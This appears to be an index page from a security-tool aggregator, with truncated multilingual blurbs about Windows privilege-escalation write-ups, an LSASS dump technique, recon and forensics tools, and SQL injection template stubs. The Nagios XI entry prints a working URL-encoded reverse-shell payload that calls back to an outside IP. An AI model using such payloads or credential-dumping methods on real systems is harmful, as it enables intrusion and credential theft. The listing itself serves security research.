CVE-2020-0753-and-CVE-2020-0754

Writeup et POC pour CVE-2020-0753, CVE-2020-0754 et six vulnérabilités DOS corrigées de Windows Exploitation du bug de condition de concurrence dans le système de fichiers - analyse de CVE-2020-0753 et CVE-2020-0754 Le service Windows Error Reporting a corrigé 2 bugs d'élévation de privilèges lor...

CVE-2020-0753-and-CVE-2020-0754

كتابة تفصيلية وPoC لثغرات CVE-2020-0753 وCVE-2020-0754 وست ثغرات غير مصححة من نوع DoS في ويندوز استغلال خلل سباق في نظام الملفات - تحليل CVE-2020-0753 وCVE-2020-0754 قامت خدمة Windows Error Reporting بإصلاح خطأين من نوع رفع الامتيازات في آخر تحديث Patch Tuesday، وقد تم تخصيص CVE-2020-0753...

Lsass-Shtinkering

Lsass Shtinkering طريقة جديدة لتفريغ dump ذاكرة LSASS عبر إساءة استخدام خدمة Windows Error Reporting. حيث تُرسل رسالة إلى الخدمة باستخدام بروتوكول ALPC للإبلاغ عن استثناء في LSASS. سيؤدي هذا الإبلاغ إلى قيام الخدمة بتفريغ ذاكرة LSASS. المتطلبات الأساسية يجب تعيين قيمة التسجيل "DumpType" تحت المسا...

DirCreate2System

DirCreate2System تسليح ثغرات إنشاء الدلائل ذات الامتيازات للحصول على NT AUTHORITY\SYSTEM عبر Windows Error Reporting وصف مختصر: اكتشفت أن comctl32.dll غير الموجودة في مجلد النظام، أي أنها غير موجودة فعليًا هناك تم تحميلها بواسطة wermgr.exe عبر Windows Error Reporting عند تشغيل schtasks. هذا يعني...

CVE-2019-20197

CVE-2019-20197 ثغرة تنفيذ الأوامر عن بُعد في Nagios XI = v5.6.9 الحمولة http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

contact.sh

contact.sh सुरक्षा कमजोरियों की रिपोर्ट करने के लिए संपर्क खोजने हेतु एक OSINT उपकरण। स्थापना 🐧 GNU/Linux सुनिश्चित करें कि आपने whois और jq पैकेज इंस्टॉल किए हैं। root@kitploit: $ git clone https://github.com/EdOverflow/contact.sh.git $ cd contact.sh/ $ chmod u+x contact.sh $ ./contact.sh -d...

reverie

reverie Automated Pentest Tools Designed For Parrot Linux this tool will make your basic pentesting task like Information Gathering, Security Auditing, And Reporting so this tool will do every task fully automatic. Usage Guide Download / Clone git clone https://github.com/baguswiratmaadi/reverie ...

Telegrip

مرحبًا 👋 Telegrip هي أداة تحقيق جنائي رقمي بواجهة رسومية تتعامل مع القضايا المتعلقة بتطبيق Telegram. توفر Telegrip العديد من الميزات: 1. تقوم Telegrip بالحصول على صورة متناثرة sparse image من أجهزة Android تحتوي على معلومات الجهاز وجميع البيانات المتعلقة بـ Telegram. 2. تقوم بتحليل وتفسير جميع...

tsusen

Tsusen 津波センサー is a standalone network sensor made for gathering information from the regular traffic coming from the outside i.e. Internet on a daily basis e.g. mass-scans, service-scanners, etc.. Any disturbances should be closely watched for as those can become a good prediction base of...

submonitor

submonitor xpl0ited1 द्वारा विवरण Slack, Discord और Telegram को रिपोर्ट करने की क्षमता वाला उपडोमेन मॉनिटर उपयोग: targets.txt फ़ाइल में स्कैनिंग लक्ष्य कॉन्फ़िगर करें, config.yaml पर रिपोर्टिंग कॉन्फ़िग सेट करें, फिर प्रतिदिन निष्पादित करने के लिए एक क्रॉनजॉब बनाएँ root@kitploit: crontab -e 0 8...

cve-2020-0618

وعاء عسل CVE-2020-0618 يكتشف ويسجل محاولات استغلال CVE-020-0618 تنفيذ الأوامر عن بُعد في خدمات تقارير SQL يقدم المحتوى والرؤوس كما تفعل SSRS، لزيادة فرصة الفهرسة في محركات البحث مثل جوجل، شودان إلخ. مبني على العمل الرائع لـ MDSec و x1sec التثبيت الحصول على الكود تأكد من أن لديك بيئة Go جاهزة...

ADRecon

https://github.com/adrecon/ADRecon से डाउनलोड करें ADRecon: सक्रिय निर्देशिका रिकॉन ADRecon एक उपकरण है जो AD वातावरण से विभिन्न कलाकृतियों जैसा कि नीचे हाइलाइट किया गया है को निकालता और संयोजित करता है। जानकारी को एक विशेष रूप से प्रारूपित Microsoft Excel रिपोर्ट में प्रस्तुत किया जा सकता है...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=deleteteam. id: CVE-2022-31977 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: critical description: | Online Fire Reporting System v1.0 is vulnerable to SQ...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/?page=user/manageuser&id=. id: CVE-2022-31975 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: high description: | Online Fire Reporting System v1.0 is vulnerable to SQL...

DomainMOD 4.13.0 - Cross-Site Scripting

DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter. id: CVE-2020-20988 info: name: DomainMOD 4.13.0 - Cross-Site Scripting author: arafatansari severity: medium description: | DomainMOD 4.13.0 is vulnerable to...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/?page=reports&date=. id: CVE-2022-31974 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: high description: | Online Fire Reporting System v1.0 is vulnerable to SQL Injectio...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=deleterequest. id: CVE-2022-31976 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: critical description: | Online Fire Reporting System v1.0 is vulnerable to...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/requests/takeaction.php?id=. id: CVE-2022-31984 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: high description: | Online Fire Reporting System v1.0 is vulnerable to SQL...

Online Fire Reporting System v1.0 - SQL injection

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=deleteinquiry. id: CVE-2022-31978 info: name: Online Fire Reporting System v1.0 - SQL injection author: theamanrawat severity: critical description: | Online Fire Reporting System v1.0 is vulnerable to...

memguard

MemGuard Software enclave for storage of sensitive information in memory. This package attempts to reduce the likelihood of sensitive data being exposed when in memory. It aims to support all major operating systems and is written in pure Go. Features Sensitive data is encrypted and authenticated...